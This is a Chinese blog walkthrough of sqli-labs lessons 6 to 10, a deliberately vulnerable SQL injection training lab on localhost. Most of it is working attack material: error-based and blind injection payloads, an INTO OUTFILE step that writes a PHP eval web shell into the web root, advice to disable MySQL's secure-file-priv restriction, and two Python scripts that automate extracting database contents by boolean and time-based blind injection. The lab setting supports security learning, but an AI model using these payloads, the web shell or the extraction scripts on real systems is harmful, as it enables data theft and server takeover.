Sqli-labs6-10 盲注、基于时间，基于报错（附脚本）

Love The Way You Lie 2022-06-03 00:20 214阅读 0赞

## 第六题 双引号双注入 ##

和第五题一样的界面

单引号，不报错，

使用双引号  
报错

![这里写图片描述][SouthEast]

http://localhost/sqli-labs/Less-6/?id=-1"; union select 1 from(select count(*),concat_ws(':',(select version()),floor(rand(0)*2))a from information_schema.tables group by a )b%23

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## 第七题 导出文件GET字符型注入 ##

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单引号：  
报错但是不会输出错误语句

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看下源代码。输出sql语句

两个括号有点恶心了。。。。

![这里写图片描述][SouthEast 4]

闭合，然后+双注入

一想不对啊，还是不会输出错误语句

http://localhost/sqli-labs/Less-7/?id=-1';)) union select 1 from(select count(*), concat_ws(':',(select version()),floor(rand(0)*2))a from interfarmation_schema.tables group by a )b%23

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看到提示 outfile，导出文件

但是不会获取到绝对路径啊，看到参考的博客直接去前面的题获取了  
绝对路径

我们去获取

使用 **@@basedir** 和**@@datadir** 获取路径

http://localhost/sqli-labs/Less-1/?id=-1'; union select 1,@@basedir,@@datadir %23

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![这里写图片描述][SouthEast 7]

既然我们知道了绝对路径

我们直接写一句话导出来然后菜刀连接

http://localhost/sqli-labs/Less-7/?id=1';)) union select 1,2,'<?php @eval($_POST["Recar"]);?>' into outfile 'E:\\phpstudy\\WWW\\sqli-labs\\Recar.php' %23

执行完去看没有，在 phpmysql中执行报错

![这里写图片描述][SouthEast 8]

默认做了限制，我们去更改

我们先查看

show variables like '%secure%';

看到是NULL  
修改： 在 mysql安装目录下的my.ini （windows）linux是my.conf  
增加

secure-file-priv=""

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执行成功

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查看生成的文件

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写入成功

不显示错误，有权限写入文件，又能获取绝对路径。写入一句话直接菜刀连接拿webshell

## 第八题 布尔型单引号GET盲注 ##

又是一个什么都不会返回的页面  
![这里写图片描述][SouthEast 13]

没有只会不输出 you are in….  
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盲注~

相关函数：

length(str) 返回str字符串的长度

substr(str,pos,len) 将str从pos位置开始截取len长度的字符进行返回。
    注意这里的 pos位置是从1开始的，不是数组的0开始的

mid(str,pos,len) 也是截取字符串

ascii(str) 返回字符串 str的最左面字符的ascii代码值

ord(str) 返回ascii

if(a,b,c) a为条件,a为true，返回b，否则返回c，如 if(1>2,1,0) 返回0

首先 select database()查询数据库

ascii(substr((select databses()),1,1)  
将截取 查询结果即数据库的第一位字母的将其转为 ascii

我们可以判断执行 这个字母是哪个相等，对不对。

即

http://localhost/sqli-labs/Less-8/?id=1'; and  ascii(substr((select database()),1,1 ))>64 %23

![这里写图片描述][SouthEast 15]

然后不断改变后面的数字大小，二分快一些。

写脚本：

思路：  
可以根据返回的字节大小来快速判断是否正确，二分查询后面的数字。

# conding:utf-8
    import requests
    url_init = "http://localhost/sqli-labs/Less-8/?id=1";;
    url_init_error = url_init + "'"
    length_init = requests.get(url_init).headers.get('Content-Length')
    database=""
    # and ascii(substr((select database()),1,1))>64 %23 然后不断增加后面的数字大小来确定
    #and ascii(substr((select table_name from information_schema.tables where table_schema=hex(int (database))),1,1))>64 %23
    # 写一个方法二分快速获取应该判断的数字
    # 返回数字，传入布尔值，对还是错，对应的数字。
    # 正经的二分查询。有序的字符中，最大最小。65到122
    # 我们现在知道了返回长度多少是正确的和错误的
    #
    def get_length(url):
        length = requests.get(url).headers.get('Content-Length')
        #print("length:"+str(length))
        # 正确的
        if (length == length_init):
            return True
        else:
            return False
    def geturl(n,number):
        url = url_init_error+"and ascii(substr((select database()),{0},1))>{1} %23".format(n,number)
        print(url)
        return url
    def efs(min_number,max_number,n):
        if(max_number-min_number==1):
            print("[+] get "+chr(max_number))
            global database
            database=database+(chr(max_number))
            print('[+] databse is {0}'.format(database))
            return
        number = int((min_number+max_number)/2)
        #print(number)
        url = geturl(n,number)
        #print(url)
        #如果比中间大
        if get_length(url):
            efs(number,max_number,n)
        else:
            efs(min_number,number,n)
    for n in range(1,10):
        #如果大于1都不满足就是结束了
        if(get_length(geturl(n,1))is False):
            break
        else:
            efs(65,127,n)

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实现了功能

接下来将代码写成跑全部表和字段的

主要更改的还是 playload

获取 表的长度

http://localhost/sqli-labs/Less-8/
    ?id=1'and (select count(*) from information_schema.tables where table_schema=0x7365637572697479 )>4 %23

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查询表名

select ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))>101;

![这里写图片描述][SouthEast 19]

即 payload

http://localhost/sqli-labs/Less-8/
    ?id=1'and  ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1))>100 %23

![这里写图片描述][SouthEast 20]

这种大小判断太麻烦了，不如直接判断字符是否相等  
好写但是效率不高

http://localhost/sqli-labs/Less-8/
    ?id=1'and  substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1)='e' %23

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## 第九题 ##

[http://localhost:9096/sqli-labs/Less-9/?id=1][http_localhost_9096_sqli-labs_Less-9_id_1]

![这里写图片描述][SouthEast 22]

时间盲注

单双引号都不报错

源码

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);
 if($row)
 {
 echo ''; 
 echo 'You are in...........';
 echo " ";
 echo "";
 }
 else
 {
 
 echo '';
 echo 'You are in...........';
 //print_r(mysql_error());
 //echo "You have an error in your SQL syntax";
 echo ""; 
 echo ''; 
 
 }
 }

![这里写图片描述][SouthEast 23]

使用 if函数

if(判断语句,A,B)  
如果判断语句是TRUE执行A，否则B  
查看执行时间  
![这里写图片描述][SouthEast 24]

![这里写图片描述][SouthEast 25]

http://localhost:9096/sqli-labs/Less-9/
    ?id=1' and if((substr((select database()),1,1)='s'),sleep(5),NULL); %23

![这里写图片描述][SouthEast 26]

获取数据库名

先获取长度

SELECT * FROM users WHERE id='1' and if((length((select database()))=8),sleep(5),NULL); #' LIMIT 0,1;

![这里写图片描述][SouthEast 27]

代码

import requests
    value ="abcdefghigklmnopqrstuvwxyz@_."
    data=""
    url = "http://localhost:9096/sqli-labs/Less-9/?id=1' and if((substr(({0}),{1},1)='{2}'),sleep(5),NULL); %23"
    url_length="http://localhost:9096/sqli-labs/Less-9/?id=1' and if((length(({0}))={1}),sleep(5),NULL); %23"
    def get_length(payload):
        for n in range(1,100):
            url= url_length.format(payload,n)
            print(url)
            if(get_respone(url)):
                print("[+] length is {0}".format(n))
                return n
    def get_data(payload,value,length):
        for n in range(1,length):
            for v in value :
                url_data = url.format(payload,n,v)
                print(url_data)
                if(get_respone(url_data)):
                    global data
                    data=data+v
                    print("[+] data is {0}".format(data))
                    break
    def get_respone(url):
        try:
            html = requests.get(url,timeout=4)
            return False
        except Exception as e:
            print("......")
            return True
    databse_payload ="select database()"
    get_data(databse_payload,value,get_length(databse_payload)+1)

## 第十题 双引号时间盲注 ##

将第九题的单引号换成双引号

http://localhost/sqli-labs/Less-10/
    ?id=1" and if((substr((select database()),1,1)='s'),sleep(5),NULL); %23

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[http_localhost_9096_sqli-labs_Less-9_id_1]: http://localhost:9096/sqli-labs/Less-9/?id=1
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